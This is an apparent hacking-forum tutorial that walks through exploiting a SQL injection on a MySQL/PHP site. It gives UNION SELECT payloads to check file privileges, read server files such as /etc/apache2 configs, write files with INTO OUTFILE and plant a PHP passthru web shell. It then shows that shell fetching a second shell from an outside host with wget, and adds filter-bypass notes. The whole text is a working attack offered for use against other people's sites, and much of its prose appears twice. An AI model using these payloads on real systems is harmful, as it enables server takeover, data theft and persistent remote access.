Apr 1, 2013 12:01 PM
(This post was last modified: Oct 15, 2013 08:30 AM by LevelUp.)
Alright, so this tutorial assumes that you've found an SQLi vulnerable site and have managed to get to the stage of finding the vulnerable columns.
Let's grab the current username
So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step
If returned Y then it means we have root privileges. Let's have a quick test of load_file /w INTO OUTFILE using the mysql data directory. Grab the directory via @@datadir
"my name is tim" should now be shown on the page, note that you made need to use hex() around load_file().
Now you'll need to grab an FPD rather than the mysql data dir if you want to get a shell up. You can attempt to get it via javascript injection /w null cookie
or arrays
etc.
If you couldn't get that, then read this part, if you managed then skip ahead.
So you didn't get an FPD, you may be able to pull of this method.
Check the value returned by version() or @@version. Let's say it returned
So it's running Debian, feel free to use load_file in conjuction to the default apache config file for deb
Look for a document root defined by #, if it's not there, don't panic as we can look in the vhost config for the default document root.
And you should now have the full path.
All that's left is our shell
*note: passthru() may be substituted by proc_open, shell_exec etc.
Now navigate to your shell and wget that shizz
*note: wget may be substituted with curl etc.
*note: group_concat(0x0a,grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges is best used instead of mysql.user for (>5)
*note: Try bypass filter of <? ?> with MYSQL_CHAR()
Let's grab the current username
Code
UNION SELECT null,null,null,user(),null --So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step
Code
UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --If returned Y then it means we have root privileges. Let's have a quick test of load_file /w INTO OUTFILE using the mysql data directory. Grab the directory via @@datadir
Code
UNION SELECT null,null,null,@@datadir,null --Code
UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--Code
UNION SELECT null,null,null,load_file('/path/returned/by/datadir/tim.txt'),null --"my name is tim" should now be shown on the page, note that you made need to use hex() around load_file().
Now you'll need to grab an FPD rather than the mysql data dir if you want to get a shell up. You can attempt to get it via javascript injection /w null cookie
Code
javascript:void(document.cookie="PHPSESSID=");Code
/article.php?id[]=5If you couldn't get that, then read this part, if you managed then skip ahead.
So you didn't get an FPD, you may be able to pull of this method.
Check the value returned by version() or @@version. Let's say it returned
Code
5.1.66-0+squeeze1-logSo it's running Debian, feel free to use load_file in conjuction to the default apache config file for deb
Code
UNION SELECT null,null,null,load_file('/etc/apache2/apache2.conf'),null --Look for a document root defined by #, if it's not there, don't panic as we can look in the vhost config for the default document root.
Code
UNION SELECT null,null,null,load_file('/etc/apache2/sites-available/default'),null --And you should now have the full path.
All that's left is our shell
Code
UNION SELECT null,null,null,'<?passthru($_GET[\'cmd\']);?>',null INTO OUTFILE '/full/path/bro/shell.php'--*note: passthru() may be substituted by proc_open, shell_exec etc.
Now navigate to your shell and wget that shizz
Code
http://www.site.come/shell.php?cmd=wget http://www.site.com/shellz/priv8shell.txt -o priv8shell.php*note: wget may be substituted with curl etc.
*note: group_concat(0x0a,grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges is best used instead of mysql.user for (>5)
*note: Try bypass filter of <? ?> with MYSQL_CHAR()



![[Image: 4mpFY45.gif]](https://i.imgur.com/4mpFY45.gif)